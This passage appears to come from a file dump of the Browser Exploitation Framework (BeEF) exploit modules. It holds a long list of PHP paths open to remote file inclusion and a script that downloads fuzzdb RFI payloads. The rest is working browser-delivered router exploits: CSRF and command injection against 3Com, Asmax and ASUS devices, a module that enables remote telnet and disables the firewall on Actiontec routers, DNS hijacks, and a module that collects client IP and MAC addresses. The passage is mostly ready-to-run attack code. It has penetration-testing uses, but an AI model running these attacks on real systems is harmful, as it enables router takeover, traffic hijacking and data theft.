dule_pathXXpathXX\n/web/BetaBlockModules/MessageModule/MessageModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/ModuleSelectorModule/ModuleSelectorModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/MyGroupsModule/MyGroupsModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/MyLinksModule/MyLinksModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/MyNetworksModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/NetworkAnnouncementModule/NetworkAnnouncementModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/NetworkDefaultControlModule/NetworkDefaultControlModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/NetworkDefaultLinksModule/NetworkDefaultLinksModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/NetworkModerateUserModule/NetworkModerateUserModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/NetworkResultContentModule/NetworkResultContentModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/NetworkResultUserModule/NetworkResultUserModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/NetworksDirectoryModule/NetworksDirectoryModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/NewestGroupsModule/NewestGroupsModule.php?current_blockmodule_pathXXpathXX\n/web/BetaBlockModules/PeopleModule/PeopleModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/PopularTagsModule/PopularTagsModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/PostContentModule/PostContentModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/ProfileFeedModule/ProfileFeedModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/RecentCommentsModule/RecentCommentsModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/RecentPostModule/RecentPostModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/RecentTagsModule/RecentTagsModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/RegisterModule/RegisterModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/SearchGroupsModule/SearchGroupsModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/ShowAnnouncementModule/ShowAnnouncementModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/ShowContentModule/ShowContentModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/TakerATourModule/TakerATourModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/UploadMediaModule/UploadMediaModule.php?current_blockmodule_pathXXpathXX\n/web/BetaBlockModules/UserMessagesModule/UserMessagesModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/UserPhotoModule/UserPhotoModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/VideosMediaGalleryModule/VideosMediaGalleryModule.php?current_blockmodule_pathXXpathXX\n/web/BetaBlockModules/ViewAllMembersModule/ViewAllMembersModule.php?path_prefix=XXpathXX\n/web/Flickrclient.php?path_prefix=XXpathXX\n/web/help.php?LIBSDIR=XXpathXX\n/web/includes/blogger.php?path_prefix=XXpathXX\n/web/includes/functions/auto_email_notify.php?path_prefix=XXpathXX\n/web/includes/functions/html_generate.php?path_prefix=XXpathXX\n/web/includes/functions/validations.php?path_prefix=XXpathXX\n/web/index.php?LIBSDIR=XXpathXX\n/web/lib/xml/oai/ListRecords.php?xml_dir=XXpathXX\n/web/login.php?LIBSDIR=XXpathXX\n/web/logout.php?LIBSDIR=XXpathXX\n/web/lom.php?ETCDIR=XXpathXX\n/web/network_module_selector.php?path_prefix=XXpathXX\n/web/submit_abuse.php?path_prefix=XXpathXX\n/web/submit_comment.php?path_prefix=XXpathXX\n/webavis/class/class.php?root=XXpathXX?\n/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=XXpathXX\n/webnews/template.php?content_page=XXpathXX?\n/webroot/css.php?CONFIGS=XXpathXX\n/webyep-system/program/lib/WYURL.php?webyep_sIncludePath=XXpathXX\n/webyep-system/programm/webyep.php?webyep_sIncludePath=XXpathXX?\n/window.php?action=XXpathXX\n/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=XXpathXX?\n/work/index.php?g_include=XXpathXX\n/work/module/forum/forum.php?g_include=XXpathXX\n/worldpay_notify.php?mosConfig_absolute_path=XXpathXX\n/wp-cache-phase1.php?plugin=XXpathXX\n/wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=XXpathXX\n/wp-content/plugins/myflash/myflash-button.php?wpPATH=XXpathXX\n/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=XXpathXX\n/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=XXpathXX\n/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=XXpathXX?\n/wsk/wsk.php?wsk=XXpathXX\n/xarg_corner.php?xarg=XXpathXX?\n/xarg_corner_bottom.php?xarg=XXpathXX?\n/xarg_corner_top.php?xarg=XXpathXX?\n/xoopsgallery/init_basic.php?GALLERY_BASEDIR=XXpathXX?&2093085906=1&995617320=2\n/xt_counter.php?server_base_dir=XXpathXX\n/yabbse/Sources/Packages.php?sourcedir=XXpathXX\n/yacs/scripts/update_trailer.php?context[path_to_root]=XXpathXX?\n/yrch/plugins/metasearch/plug.inc.php?path=XXpathXX\n/ytb/cuenta/cuerpo.php?base_archivo=XXpathXX\n/zipndownload.php?PP_PATH=XXpathXX?\n/zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=XXpathXX?\n"
  },
  {
    "path": "modules/exploits/rfi_scanner/update-list",
    "content": "#!/bin/sh\necho \"[*] Deleting old rfi.txt...\"\nrm rfi.txt\necho \"[*] Downloading latest rfi.txt...\"\nwget \"https://fuzzdb.googlecode.com/svn/trunk/attack-payloads/rfi/rfi.txt\"\n"
  },
  {
    "path": "modules/exploits/router/3com_officeconnect_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar gateway = '<%= @base %>'; \n\tvar path    = 'utility.cgi';\n\tvar cmd     = '<%= @cmd %>';\n\tvar timeout = 15;\n\n\tvar com_officeconnect_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, \"GET\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'testType', 'value':'1'},\n\t\t{'type':'hidden', 'name':'IP',       'value':'||'+cmd}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\tcleanup = function() {\n\t\tdocument.body.removeChild(com_officeconnect_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        com_officeconnect_cmd_exec:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"3COM OfficeConnect Command Execution\"\n            description: \"Attempts to execute arbitrary commands on a 3Com OfficeConnect ADSL Wireless 11g Firewall Router (OSVDB# 66232).<br/>For more information see, <a href='https://www.andreafabrizi.it/2009/10/18/3COM-OfficeConnect-FirewallRouter-multiple-Vulnerabilities/'>https://www.andreafabrizi.it/2009/10/18/3COM-OfficeConnect-FirewallRouter-multiple-Vulnerabilities/</a>\"\n            authors: [\"bcoles\", \"Andrea Fabrizi\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/3com_officeconnect_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Com_officeconnect_cmd_exec < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'reboot' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/actiontec_q1000_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar gateway = '<%= @base %>'; \n\tvar user    = '<%= @user %>';\n\tvar passwd  = '<%= @password %>';\n\tvar port    = '<%= @port %>';\n\tvar timeout = 15;\n\n\tvar actiontec_q1000_iframe1_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"advancedsetup_remotegui.cgi\", \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'serCtlHttp',          'value':'1'},\n\t\t{'type':'hidden', 'name':'adminUserName',       'value':user},\n\t\t{'type':'hidden', 'name':'adminPassword',       'value':passwd},\n\t\t{'type':'hidden', 'name':'remGuiTimeout',       'value':'0'},\n\t\t{'type':'hidden', 'name':'remGuiPort',          'value':port}\n\t]);\n\n\tvar actiontec_q1000_iframe2_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"advancedsetup_remotetelnet.cgi\", \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'serCtlTelnet',        'value':'1'},\n\t\t{'type':'hidden', 'name':'remTelUser',          'value':user},\n\t\t{'type':'hidden', 'name':'remTelPass',          'value':passwd},\n\t\t{'type':'hidden', 'name':'remTelTimeout',       'value':'0'},\n\t\t{'type':'hidden', 'name':'remTelPassChanged',   'value':'1'}\n\t]);\n\n\tvar actiontec_q1000_iframe3_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"advancedsetup_firewallsettings.cgi\", \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'fwLevel',             'value':'Basic'},\n\t\t{'type':'hidden', 'name':'fwStealthMode',       'value':'0'}\n\t]);\n\n\tvar actiontec_q1000_iframe4_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"ipv6_firewallsettings.cgi\", \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'ipv6_fwlevel',        'value':'basic'},\n\t\t{'type':'hidden', 'name':'ipv6_fwenable',       'value':'0'}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\tcleanup = function() {\n\t\tdocument.body.removeChild(actiontec_q1000_iframe1_<%= @command_id %>);\n\t\tdocument.body.removeChild(actiontec_q1000_iframe2_<%= @command_id %>);\n\t\tdocument.body.removeChild(actiontec_q1000_iframe3_<%= @command_id %>);\n\t\tdocument.body.removeChild(actiontec_q1000_iframe4_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/actiontec_q1000_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        actiontec_q1000_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Actiontec Q1000 CSRF\"\n            description: \"Attempts to enable remote web and telnet administration, and disables the firewall on an Actiontec Q1000 router.\"\n            authors: [\"james-otten\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/actiontec_q1000_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Actiontec_q1000_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/' },\n      { 'name' => 'user', 'ui_label' => 'Desired username', 'value' => 'admin' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => 'BeEF' },\n      { 'name' => 'port', 'ui_label' => 'Desired web ui port', 'value' => '443' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/argw4_adsl_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/form2Dns.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var argw4_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"POST\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsMode', 'value': '1'},\n                {'type':'hidden', 'name':'dns1', 'value': dns1},\n                {'type':'hidden', 'name':'dns2', 'value': dns2},\n                {'type':'hidden', 'name':'dns3', 'value': ''},\n                {'type':'hidden', 'name':'submit.htm?dns.htm', 'value': 'Send'},\n                {'type':'hidden', 'name':'save', 'value': 'Apply Changes'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(argw4_adsl_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/argw4_adsl_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/40901/\n#\nbeef:\n    module:\n        argw4_adsl_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"ARG-W4 ADSL Router DNS Hijack CSRF\"\n            description: \"Attempts to change the DNS setting on a ARG-W4 ADSL router.<br/><br/>This module has not been tested.\"\n            authors: [\"Mojtaba MobhaM\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/argw4_adsl_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Argw4_adsl_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/asmax_ar804gu_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar gateway = '<%= @base %>'; \n\tvar path    = 'cgi-bin/script?system%20';\n\tvar cmd     = '<%= @cmd %>';\n\n\tvar img = new Image();\n\timg.setAttribute(\"style\",\"visibility:hidden\");\n\timg.setAttribute(\"width\",\"0\");\n\timg.setAttribute(\"height\",\"0\");\n\timg.id = 'asmax_ar804gu_<%= @command_id %>';\n\timg.src = gateway+path+cmd;\n\tdocument.body.appendChild(img);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\tcleanup = function() {\n\t\tdocument.body.removeChild(img);\n\t}\n\tsetTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        asmax_ar804gu_cmd_exec:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Asmax AR-804gu Command Execution\"\n            description: \"Attempts to execute arbitrary commands on a Asmax AR-804gu (OSVDB# 54895).<br/>For more information see, http://www.securitum.pl/dh/asmax-ar-804-gu-compromise\"\n            authors: [\"bcoles\", \"Michal Sajdak\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Asmax_ar804gu_cmd_exec < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'reboot' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/asus_dslx11_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var asus_dslx11_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(asus_dslx11_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/asus_dslx11_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/40373/\n#\nbeef:\n    module:\n        asus_dslx11_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"ASUS DSL-X11 ADSL Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a ASUS DSL-X11 ADSL router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/asus_dslx11_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Asus_dslx11_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/asus_rt_n12e_get_info/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var target_ip = '<%= @target_ip %>'; \n\n  load_script = function(url) {\n    var s = document.createElement(\"script\");\n    s.type = 'text/javascript';\n    s.src  = url;\n    document.body.appendChild(s);\n  }\n\n  get_info = function() {\n\n    beef.debug(target_ip + \" - gathering info...\");\n\n    var clients = Client_IP_MAC;\n    var wanip   = wanlink_ipaddr();\n    var netmask = wanlink_netmask();\n    var gateway = wanlink_gateway();\n    var dns     = wanlink_dns();\n\n    beef.debug(target_ip + \" - Clients: \" + clients);\n    beef.debug(target_ip + \" - WAN IP: \"  + wanip);\n    beef.debug(target_ip + \" - Gateway: \" + gateway);\n    beef.debug(target_ip + \" - DNS: \"     + dns);\n    beef.debug(target_ip + \" - gathering info completed\");\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\n      \"ip=\"       + target_ip +\n      \"&clients=\" + clients +\n      \"&wanip=\"   + wanip   +\n      \"&netmask=\" + netmask +\n      \"&gateway=\" + gateway + \n      \"&dns=\"     + dns\n    );\n  }\n\n  beef.debug(target_ip + \" - loading scripts...\");\n  load_script(\"http://\" + target_ip + \"/status.asp\");\n  load_script(\"http://\" + target_ip + \"/get_wan_status.asp\");\n  setTimeout(\"get_info()\", 10000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/asus_rt_n12e_get_info/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        asus_rt_n12e_get_info:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Asus RT-N12E Get Info\"\n            description: \"This module retrieves network information from Asus RT-N12E routers, including WAN link details (WAN IP address, gateway, DNS server) and the MAC address and IP address of all connected clients.<br/>Tested on Firmware version 2.0.0.35.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/asus_rt_n12e_get_info/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Asus_rt_n12e_get_info < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'target_ip', 'ui_label' => 'Target Host', 'value' => 'router.asus.com' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n\n    # log the network hosts\n    return unless @datastore['results'] =~ /ip=(.+)&clients=(.+)&wanip=(.+)&netmask=(.+)&gateway=(.+)&dns=(.+)/\n\n    ip = Regexp.last_match(1).to_s\n    clients = Regexp.last_match(2).to_s\n    # wanip = Regexp.last_match(3).to_s\n    # netmask = Regexp.last_match(4).to_s\n    gateway = Regexp.last_match(5).to_s\n    dns_servers = Regexp.last_match(6).to_s\n    session_id = @datastore['beefhook']\n\n    if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found Asus RT-N12E router [ip: #{ip}]\")\n      BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, type: 'Asus RT-N12E Router')\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: 'http', ip: ip, port: 80, type: 'HTTP Server')\n    end\n\n    clients.scan(/([\\d.]+,[:\\dA-F]{17})/).flatten.each do |client|\n      next if client.nil?\n      next unless client.to_s =~ /^([\\d.]+),([:\\dA-F]{17})$/\n\n      ip = Regexp.last_match(1)\n      mac = Regexp.last_match(2)\n      if BeEF::Filters.is_valid_ip?(ip)\n        print_debug(\"Hooked browser found router client [ip: #{ip}, mac: #{mac}]\")\n        BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, mac: mac)\n      end\n    end\n\n    if !gateway.nil? && BeEF::Filters.is_valid_ip?(gateway)\n      print_debug(\"Hooked browser found WAN gateway server [ip: #{gateway}]\")\n      BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: gateway, type: 'WAN Gateway')\n    end\n\n    if !dns_servers.nil? && dns_servers =~ /^([\\d. ]+)$/\n      dns_servers.split(' ').uniq.each do |dns|\n        if BeEF::Filters.is_valid_ip?(dns)\n          print_debug(\"Hooked browser found DNS server [ip: #{dns}]\")\n          BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: dns, type: 'DNS Server')\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/asus_rt_n66u_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar gateway  = '<%= @base %>'; \n\tvar exec_command = '<%= @exec_command %>';\n\tvar timeout  = 15;\n\n\tvar asus_rt_n66u_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();\n\t\n\tasus_rt_n66u_iframe1_<%= @command_id %>.setAttribute('src',\"http://\" + gateway +\"/apply.cgi?current_page=Main_Netstat_Content.asp&next_page=Main_Netstat_Content.asp&next_host=\"+gateway+\"&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=\"+exec_command+\"&firmver=3.0.0.4&cmdMethod=netstat&NetOption=-a&targetip=&ExtOption=-r+state\");\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n    \n\tcleanup = function() {\n\t\tdocument.body.removeChild(asus_rt_n66u_iframe1_<%= @command_id %>);\n\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/asus_rt_n66u_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        asus_rt_n66u_cmd_exec:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Asus DSL-N66U / RT-N66U cmd exec\"\n            description: \"Attempts to inject a command against routers Asus RT-N66U / Asus DSL-N66U via CSRF.(Assumes user has logged on)\"\n            authors: [\"kxynos\", \"n0x00\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/asus_rt_n66u_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Asus_rt_n66u_cmd_exec < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => '192.168.100.1' },\n      { 'name' => 'exec_command', 'ui_label' => 'Command to issue', 'value' => '' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js",
